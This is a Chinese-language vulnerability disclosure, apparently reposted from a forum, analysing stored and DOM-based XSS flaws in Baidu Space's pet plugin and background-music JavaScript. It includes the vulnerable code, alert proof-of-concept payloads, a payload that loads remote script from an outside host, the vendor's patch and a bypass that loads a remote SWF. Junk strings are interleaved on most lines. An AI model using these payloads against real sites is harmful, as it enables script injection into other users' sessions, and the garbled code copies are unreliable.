百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. - K# @3 s# B) j; a, I
" S; r. N$ d) O1 y
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. 9 Q5 J% W5 y- }' G! k" L
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 8 D! |6 M. Y0 M. `
' Q4 a u$ E9 _. k: z5 F
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
1 p8 L4 `' e1 O1 M其中BdUtil.insertWBR为
% I" s! ?! q+ x# h2 R; X3 |, ?function(text, step) {
, p/ p4 i) T0 i& q* ]2 K+ l var textarea = textAreaCache || getContainer();
" {9 a# @' b: b if (!textarea) {
. _; Y! z w- e' q% Y( R t7 u return text; / C6 h7 K6 n* b' |5 o, r8 Q4 I f
}
' k$ U- L0 }: [; | textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
( w$ [8 ]5 B3 q8 S3 d var string = textarea.value;
; f9 v6 q2 F' }# S- X/ q4 W; i) A var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
/ W1 y' e& y; N: r* k; S' q var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); " H5 r/ F6 ~! S) {* U- Z: P* i3 I% w
return result;
~! W0 p( [" n, I( ^' W; D} . T, c: g' `; H U1 j
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. " x; l+ T4 N1 p3 h* X5 D. R) V
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> R; c% G& F2 [5 ~/ L3 i7 A
& f# c5 c' q* P5 E; X) l二:creatbgmusic() Dom-Xss Bug
! H% P4 _% v& Z$ C5 v. j百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 3 j1 y% G9 w$ J
( Z `* c6 T; M% \( C: e+ o* z% C
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
3 ]: N! Y; F. z1 M$ ?; ^# W4 b4 F3 j4 C; c
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
0 R/ W9 d, j! A$ d //传入的murl赋值到bgmusic1和bgmusic2中
) f/ D$ d7 ]' u" L9 X! ?; k7 | //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
: f/ o4 |, o( x1 x var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; 1 F9 D$ H, u+ ]/ q
if (musicnum <= 1) {
# Q. {/ L% g- I( \. S bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
$ ?$ b8 H1 o& u# G$ q( ~ } : h: o, K& i5 p a1 @
bgmusic1 += "</OBJECT>";
( s7 t$ p' b% \: Y. U& j: X var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
+ X9 ^. W% l2 |( f( }' A3 m8 Q if (musicnum <= 1) {
& |, u, l2 E: X+ } bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
/ J# }& _! |9 b* ^+ Z% g5 I! P+ }8 Q }
, {; @3 Y, M) H$ C$ t) n# o, g' c bgmusic2 += "> </EMBED>";
+ ~0 M, S+ z) b2 Z- c# ~ var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; : e% Z0 x- u- O
var bgmus = detectWMP(); & e" D( u4 J; k" W) U5 h
if (functype == "FckMusicHelper") { 7 E l, E5 M( f# R
if (bgmus.installed) {
- S3 J$ f h, Q% B if (bgmus.type == "IE") { ) M$ _6 Q! T; t9 A+ ~7 z
return bgmusic1; / Q8 ^4 ~& N9 y( t. s
} else if (bgmus.type == "NS") { - i3 u! i% t' `1 E
return bgmusic2;
! ~! K+ i) P6 F" V/ D2 b }
" T; p5 O! e/ H8 u7 e: @7 G } else {
5 a& x0 f9 B8 O/ a) |: q6 h7 B return bgmusic3;
$ j9 M }, a& i" M& F: a. A } - g5 l) S0 a; G, K
} else {
& a0 C) w9 P. P% ] if (bgmus.installed) { : X$ I& }! \5 f3 [/ Y
//document.write 直接输出bgmusic变量 导致xss
3 J% Z* @5 ^ S8 {+ W( l if (bgmus.type == "IE") { a) p+ a* y/ a" o, c
document.write(bgmusic1); , v8 |8 ]$ }2 N, V
} else if (bgmus.type == "NS") {
" B- _; U% w; H. |* Z8 r: ?2 n document.write(bgmusic2); 5 `2 z5 Z; {6 |6 j e
}
! x1 ^. Q- Z4 W8 g& z } else { ( s; Z9 ?( W+ l# \& [
document.write(bgmusic3);
9 T& b# ~; i7 y- F4 b0 x0 n } , {: o2 U, U1 m3 M. \
return ""; 1 K( O% }" {6 t( }. Y( D
} 1 x9 T1 G- W, F2 W- ]. V
} 0 ]$ d$ d" G) c* e: S+ H5 v
) W% ?; f$ t* X: J5 c* _* R v7 \
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 6 p% w9 x" ]- V1 f. ]
& _: s! u, f1 T4 f2 g+ qfunction initBlogTextForFCK(){ * K# O2 u. X% Q" _& ]
//fck init music ; v: {* i+ N2 I3 k* G" s
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
, H1 x: G5 E7 s* @- vvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 8 R- O) q% n9 s1 a& r( M6 n
var isAutoPlay=true;
3 J E' M: x+ h& q- ~) ~for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. ) \) W: P0 ?1 f/ k/ z
var img=imgBox; - r& H+ D- W+ @5 C3 W! y8 D
if(img.getAttribute(’rel’)){
3 x) F9 ^! u; V2 c+ ~! @5 b var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
. @! e) Y; F5 V. a var musicDiv = document.createElement("SPAN"); 4 [$ b- q) c, l% c$ B( v+ k8 b$ H
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] # R( \. u! l3 i* I' n K' b
1 G# R q2 \( I1 Y( c7 n ..........................
/ {' p) {! P6 l ' p1 U3 Y1 v& @; M& U! Q
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
6 M3 F5 z0 k$ e0 g( Q; u8 g- P# p var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); . C5 F/ L6 d u3 u6 J3 F
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
7 k: S( ]8 b" d N musicDiv.innerHTML=shtml;
9 g! ?9 i: V+ B3 P7 {( [0 Z i--;n--; ; @5 P' L; a7 L
} 0 x6 ~8 ?1 X& H( C, N! [# c
}
7 q0 f$ f! e+ a- l0 ~. ]. K2 W3 P/ @ j
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. + z+ A% C( E. u5 }
. c) A# {: P1 u7 c3 M) ^( G5 k测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
+ J k% P; d. `) a7 P V5 i7 p; _& i( J7 K/ `
等待官方补丁
# O& U0 l) e9 ?7 ?) ^1 r! G) P. l& ^
update 2010年5月13日 4 f& s& a8 E# f! [/ z* K
* j/ v+ Z7 `- l* _0 N
官方补丁:
. l" {# x3 Q' C! Q( ]8 `! z7 f! E) ^. U- k/ ?$ h
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); / L! d6 G, c6 j3 G9 q2 i
改为:
8 l, J. U0 C# Qvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
5 D# o/ Q0 L6 f" [
' ~ v ? D( o/ Vupdate 2010年5月13日 21:50:37
6 d4 _5 N) N$ x& L/ n3 y# H
0 }- R0 \" F8 w; B( W补丁存在漏洞 没有过滤" 可以继续跨: 4 N! f4 Z, J5 L; q. T- S
5 D5 J( C$ i, D; v$ U6 T
NEW POC: 9 R4 r6 I- U! ^+ h. U" `. Z+ `
9 h& k" n. k* w6 c4 _& }
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" ; s1 w3 ^% h/ D4 |+ K, Y
0 F1 T8 U. m. lallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>' f& O- x! J C, y2 h9 s
& N7 y3 L, @5 I; V8 d, j |